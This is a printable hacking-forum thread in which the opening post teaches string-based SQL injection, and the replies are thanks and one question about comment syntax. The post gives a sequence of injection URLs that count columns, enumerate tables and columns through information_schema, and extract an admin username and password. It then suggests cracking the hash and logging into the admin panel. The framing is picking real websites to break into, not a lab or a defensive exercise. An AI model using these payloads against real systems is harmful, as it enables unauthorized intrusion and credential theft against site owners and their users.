String Based SQL Injection - Printable Version

String Based SQL Injection - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: String Based SQL Injection (/Thread-String-Based-SQL-Injection--48123)

Pages: 1 2

String Based SQL Injection - The Alchemist - 03-19-2013

String Based SQL Injection

Hello Hack Community,
Very often we come across websites where we find a URL like this :

Code:
http://site.com/index.php?id=1

We add a ' at the end of the URL and we get an error.
Then, we try getting column count by typing :

Code:
http://site.com/index.php?id=1 order by 1--

Code:
http://site.com/index.php?id=1 order by 2--

Code:
http://site.com/index.php?id=1 order by 3--

And so on until we get an error message.

But, sometimes we go on and on and even till this :

Code:
http://site.com/index.php?id=1 order by 100--

We do not get an error message. And being a web designer myself, obviously, the column count won't be more than 100.

So, we just leave the website and go for another site.
Here's where String Based SQL Injection comes into play.

Here are the steps :
1. To check whether the site is vulnerable to String Based SQL Injection, we need some extra characters.
Suppose this is our link :

Code:
http://site.com/index.php?id=1

Add a ' at the end of the link and then add order by 100--+ after that.
So, the URL should look like this :

Code:
http://site.com/index.php?id=1' order by 100--+

If an error message comes up, the site is vulnerable to String Based SQL Injection.

2. Now, like the Union Based SQL Injection, look for the number of columns replaing the 100 in the previous URL with 1, 2 and so on..
So, the URL should look like this :

Code:
http://site.com/index.php?id=1' order by 1--+

Code:
http://site.com/index.php?id=1' order by 2--+

And so on...
Now, suppose you get an error in this URL :

Code:
http://site.com/index.php?id=1' order by 6--+

And you do not get an error in this URL :

Code:
http://site.com/index.php?id=1' order by 5--+

This means, the number of columns in 5

3. Now, we find the vulnerable columns. Remove order by 5 from the URL and add union select 1,2,3,4,5
So, the URL should look like this :

Code:
http://site.com/index.php?id=1' union select 1,2,3,4,5--+

4. Suppose from step 3, we get vulnerable columns 1,2 and 3. Now, we need to look at the tables. We'll use column 2 for executing our SQL Injection Queries.
So, in the URL from step 3, remove 2 and replace it with group_concat(table_name)[b] and just before [b]--+ add from information_schema.tables where table_schema=database()
So, the URL will now look like this :

Code:
http://site.com/index.php?id=1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--+

5. As we execute the query in step 4, we get the list of all the tables in the database. Now, suppose we're interested to look at a table named admin which contains the log in credentials of the admin.
To, look at the column names of the table admin, we need to find the ascii value of the characters of the string admin. We can do it with the hexadecimal equivalent too, but I'm using ASCII here.
The ascii of the characters of admin is 97, 100, 109, 105, 110.
To get the column names of the table admin, we need to replace group_concat(table_name) from step 4 with group_concat(column_name), replace information_schema.tables with information_schema.columns and table_schema=database() with table_name=char(97, 100, 109, 105, 110) where 97, 100, 109, 105, 110 is the ASCII of our table name admin.
So, the URL will look like this :

Code:
http://site.com/index.php?id=1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=char(97, 100, 109, 105, 110)--+

6. As we execute the query from step 5, we get a list of all the columns from the table admin. Suppose there are two columns in admin namely username and password.
To get the value of the columns username and password, we need to replace group_concat(column_name) from step 5 with username and replace information_schema.columns where table_name=char(97, 100, 109, 105, 110) with database().admin where admin is the name of our table.
So, our URL will look like this :

Code:
http://site.com/index.php?id=1' union select 1,username,3,4,5 from database().admin--+

And we get the data entry from username column.

7. To get the data entry from password column, we just need to replace username from step 6 with password
So, the URL will look like this :

Code:
http://site.com/index.php?id=1' union select 1,password,3,4,5 from database().admin--+

The password may be hashed so, we'll need an online hash decrypter to get the original string.

NOTE : In step 6 and 7, if there's an error, then we need to replace database() with the database name.
Its easy to get the database name, just execute this query :

Code:
http://site.com/index.php?id=1' union select 1,database(),3,4,5--+

Hence, we have the administrator username and password. So, now, we can easily log in from the admin login page.

Hope you liked this tutorial.

~The Alchemist

RE: String Based SQL Injection - RogueCoder - 04-01-2013

Thank you for a great post! Starting to understand more about this subject, just one question. I have seen many tutorials using the -- but never --+. What's the effect of the plus sign?

RE: String Based SQL Injection - The Alchemist - 04-01-2013

(04-01-2013, 01:58 AM)shp0ngl3 Wrote: Thank you for a great post! Starting to understand more about this subject, just one question. I have seen many tutorials using the -- but never --+. What's the effect of the plus sign?

You're welcome.
Its the rule for String Based SQL Injection unlike Union based...
--, +, /*...*/ these are used for inline/multiple line comment tags...

RE: String Based SQL Injection - The Alchemist - 04-01-2013

(04-01-2013, 01:58 AM)shp0ngl3 Wrote: Thank you for a great post! Starting to understand more about this subject, just one question. I have seen many tutorials using the -- but never --+. What's the effect of the plus sign?

You're welcome.
Its the rule for String Based SQL Injection unlike Union based...
--, +, /*...*/ these are used for inline/multiple line comment tags...

RE: String Based SQL Injection - WILLDO - 04-02-2013

thanks!
very good tutorial and explained well

RE: String Based SQL Injection - mishrefuq - 04-14-2013

Great post

RE: String Based SQL Injection - SyntaX - 04-14-2013

Great tutorial!!

Keep up the good work!

RE: String Based SQL Injection - The Alchemist - 04-15-2013

(04-02-2013, 10:50 AM)WILLDO Wrote: thanks!
very good tutorial and explained well

(04-14-2013, 07:05 PM)mishrefuq Wrote: Great post

(04-14-2013, 07:47 PM)SyntaX Wrote: Great tutorial!!

Keep up the good work!

Thanks a lot for the feedback guys!!
Glad you liked it.

RE: String Based SQL Injection - The Alchemist - 04-15-2013

(04-02-2013, 10:50 AM)WILLDO Wrote: thanks!
very good tutorial and explained well

(04-14-2013, 07:05 PM)mishrefuq Wrote: Great post

(04-14-2013, 07:47 PM)SyntaX Wrote: Great tutorial!!

Keep up the good work!

Thanks a lot for the feedback guys!!
Glad you liked it.